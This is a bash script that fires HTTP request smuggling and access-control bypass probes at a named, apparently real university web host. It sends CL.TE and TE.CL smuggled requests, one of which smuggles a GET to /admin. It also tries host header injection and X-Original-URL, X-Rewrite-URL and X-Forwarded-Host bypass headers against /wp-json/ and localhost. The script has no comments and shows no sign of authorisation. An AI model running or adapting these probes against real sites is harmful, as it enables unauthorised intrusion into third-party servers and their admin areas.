#!/bin/bash
TARGET_HOST="an.fisip.unisri.ac.id"
TARGET="https://${TARGET_HOST}"

echo "=== CL.TE Smuggling Test ==="
printf "POST / HTTP/1.1\r\nHost: ${TARGET_HOST}\r\nContent-Length: 44\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: ${TARGET_HOST}\r\n\r\n" | timeout 10 openssl s_client -connect ${TARGET_HOST}:443 -quiet 2>/dev/null | head -20

echo ""
echo "=== TE.CL Smuggling Test ==="
printf "POST / HTTP/1.1\r\nHost: ${TARGET_HOST}\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nX\r\n0\r\n\r\n" | timeout 10 openssl s_client -connect ${TARGET_HOST}:443 -quiet 2>/dev/null | head -20

echo ""
echo "=== HTTP/2 Downgrade Test ==="
curl -s --http2-prior-knowledge "$TARGET/" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== Host Header Injection Test ==="
curl -s "$TARGET/" -H "Host: an.fisip.unisri.ac.id:443" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== X-Original-URL Bypass ==="
curl -s "$TARGET/" -H "X-Original-URL: /wp-json/" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== X-Rewrite-URL Bypass ==="  
curl -s "$TARGET/" -H "X-Rewrite-URL: /wp-json/" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5

echo ""
echo "=== X-Forwarded-Host Bypass ==="
curl -s "$TARGET/" -H "X-Forwarded-Host: localhost" -H "User-Agent: Mozilla/5.0" --connect-timeout 10 2>/dev/null | head -5